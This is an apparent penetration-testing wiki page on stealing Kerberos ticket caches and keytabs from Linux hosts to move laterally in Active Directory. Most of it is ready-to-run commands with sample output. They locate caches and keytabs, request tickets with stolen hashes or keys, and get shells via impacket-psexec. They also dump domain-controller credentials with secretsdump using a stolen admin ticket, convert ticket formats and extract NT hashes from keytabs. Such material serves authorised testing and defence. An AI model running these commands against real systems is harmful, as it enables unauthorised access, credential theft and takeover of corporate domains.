# Kerberos Ticket Reuse from Linux

> Exploiting cached Kerberos tickets on Linux via ccache files and keytabs to authenticate as other users and move laterally across AD environments.

- **URL:** https://hackindex.io/services/kerberos/lateral-movement/kerberos-ticket-reuse-from-linux
- **Path:** Kerberos > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/services/kerberos/lateral-movement.md)
- **Published:** 2026-03-16
- **Updated:** 2026-07-10

Domain-joined Linux hosts maintain Kerberos ticket caches that can be stolen and reused to authenticate to Active Directory services (SMB shares, MSSQL, HTTP services, and other Kerberos-integrated resources) without knowing any password. Keytab files go further: they contain the encrypted key material needed to request fresh tickets at any time.

This page covers locating, validating, and using ccache files and keytabs found on a Linux host. Detecting whether a host is domain-joined and finding these files is covered in the post-exploitation section.

## Confirming Kerberos Configuration

```bash
cat /etc/krb5.conf
```

The `default_realm` field gives you the domain name. The `kdc` entries point to the domain controller. Both are needed for tool configuration.

```bash
klist
```

If `klist` returns ticket information, the current session already has a valid TGT. If it returns `No credentials cache found`, you need to load one.

## Finding ccache Files

Ticket caches are stored in files or memory-backed locations:

```bash
find /tmp /run /var/tmp -name "krb5cc_*" 2>/dev/null
find /tmp -name "ccache" 2>/dev/null
ls /tmp/krb5cc_*
```

Also check the environment for a non-default cache location:

```bash
echo $KRB5CCNAME
grep -r KRB5CCNAME /proc/*/environ 2>/dev/null
```

## Inspecting a ccache File

Before using a cache, check its contents and expiry:

```bash
klist -c /tmp/krb5cc_1000
# Credentials cache: FILE:/tmp/krb5cc_1000
#         Principal: svc_backup@CORP.LOCAL
#
# Issued                Expires               Principal
# Mar 14 08:23:01 2024  Mar 14 18:23:01 2024  krbtgt/CORP.LOCAL@CORP.LOCAL
# Mar 14 08:23:05 2024  Mar 14 18:23:05 2024  cifs/fileserver.corp.local@CORP.LOCAL
```

A TGT (`krbtgt/`) that has not expired is usable. Service tickets (`cifs/`, `http/`, `mssql/`) are for specific services. An expired TGT cannot be renewed without the original credentials, but you can still use valid service tickets until they expire.

## Requesting a TGT with Credentials

When you recover a plaintext password or NT hash but no ticket file exists on disk, request a TGT directly. `impacket-getTGT` authenticates to the KDC and writes a `.ccache` file you can use with any Kerberos-aware tool.

With a password:

```bash
impacket-getTGT $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP
# [*] Saving ticket in $USER.ccache
```

With an NT hash (pass-the-hash to Kerberos):

```bash
impacket-getTGT $DOMAIN/$USER -hashes :$NTHASH -dc-ip $TARGET_IP
# [*] Saving ticket in $USER.ccache
```

With an AES key (from a DCSync or keytab extraction):

```bash
impacket-getTGT $DOMAIN/$USER -aesKey $AES_KEY -dc-ip $TARGET_IP
# [*] Saving ticket in $USER.ccache
```

Set the output ccache as your active ticket and continue with lateral movement tools:

```bash
export KRB5CCNAME=$USER.ccache
klist
```

## Using a ccache for Lateral Movement

Set `KRB5CCNAME` to point at the stolen cache, then use Impacket tools to authenticate:

```bash
export KRB5CCNAME=/tmp/krb5cc_1000
```

List SMB shares on a domain host:

```bash
impacket-smbclient -k -no-pass $DOMAIN/$USER@fileserver.$DOMAIN
```

Get a shell via SMB:

```bash
impacket-psexec -k -no-pass $DOMAIN/$USER@TARGET.$DOMAIN
```

Connect to MSSQL:

```bash
impacket-mssqlclient -k $DOMAIN/$USER@mssql.$DOMAIN
```

`-k` tells Impacket to use Kerberos authentication. `-no-pass` skips the password prompt and uses the ccache.

For SMB access with `nxc`:

```bash
KRB5CCNAME=/tmp/krb5cc_1000 nxc smb $TARGET_IP -u $USER -k --no-pass
```

## Finding and Using Keytab Files

Keytabs contain the account's long-term key and can generate fresh tickets at any time: they do not expire like ccache files.

```bash
find / -name "*.keytab" -o -name "*.kt" 2>/dev/null
find /etc /opt /var /home -name "krb5.keytab" 2>/dev/null
```

Common locations:

- `/etc/krb5.keytab`: machine account keytab, readable by root
- `/etc/security/*.keytab`: service account keytabs
- `/opt/*/conf/*.keytab`: application service keytabs (Tomcat, Hadoop, Kafka)

Inspect a keytab:

```bash
klist -k /etc/krb5.keytab
# Keytab name: FILE:/etc/krb5.keytab
# KVNO Principal
#    2 host/webserver.corp.local@CORP.LOCAL
#    2 HTTP/webserver.corp.local@CORP.LOCAL
```

Request a TGT using the keytab:

```bash
kinit -k -t /etc/krb5.keytab host/webserver.$DOMAIN
klist
```

Once you have a TGT, use it with Impacket tools as shown above. The machine account keytab (`host/`) gives you a computer account TGT: useful for querying AD and accessing resources the computer account has rights to.

## Pass the Ticket with Impacket

If you have a ccache file from a high-value account (a service account, domain admin, or DA), use it directly:

```bash
export KRB5CCNAME=/tmp/stolen_admin.ccache
impacket-secretsdump -k -no-pass $DOMAIN/Administrator@DC.$DOMAIN
```

This dumps credentials from the domain controller using the stolen ticket. For the full pass-the-ticket and lateral movement workflow, see [Pass the Hash and Pass the Ticket](https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-hash-and-pass-the-ticket) and [AD Remote Execution](https://hackindex.io/platforms/active-directory/lateral-movement/ad-remote-execution).

## Converting Ticket Formats

Windows tools (Rubeus, Mimikatz) export tickets in `.kirbi` format. Linux tools (Impacket, nxc) expect `.ccache`. When you exfiltrate a ticket from a Windows host or need to inject a Linux-obtained ticket into a Windows session, convert between formats with `impacket-ticketConverter`.

Convert `.kirbi` to `.ccache` (Windows ticket for use on Linux):

```bash
impacket-ticketConverter ticket.kirbi ticket.ccache
# [*] Converting kirbi to ccache
# [+] Done
```

Convert `.ccache` to `.kirbi` (Linux ticket for use on Windows):

```bash
impacket-ticketConverter ticket.ccache ticket.kirbi
# [*] Converting ccache to kirbi
# [+] Done
```

After conversion, set `KRB5CCNAME` to the `.ccache` path for Linux tools. On Windows, import the `.kirbi` with `Rubeus.exe ptt /ticket:ticket.kirbi` or `kerberos::ptt ticket.kirbi` in Mimikatz.

## Extracting the Hash from a Keytab

The key material inside a keytab is the NT hash equivalent for the account. Extract it with:

```bash
git clone https://github.com/sosdave/KeyTabExtract /tmp/keytabextract 2>/dev/null; python3 /tmp/keytabextract/keytabextract.py /etc/krb5.keytab
```

The extracted NT hash can be used for pass-the-hash attacks against Windows services.

## References

- [MIT Kerberos Documentation](https://web.mit.edu/kerberos/krb5-latest/doc/user/tkt_mgmt.html) - Ticket Management Reference for klist, kinit, and kdestroy operations.
- [fortra/impacket](https://github.com/fortra/impacket) - GitHub Impacket toolkit: Python implementations of network protocols including Kerberos-authenticated SMB, MSSQL, and secretsdump.
- [GNU Shishi Manual](https://www.gnu.org/software/shishi/manual/shishi.html) - Background reference on Kerberos ccache file format and keytab structure.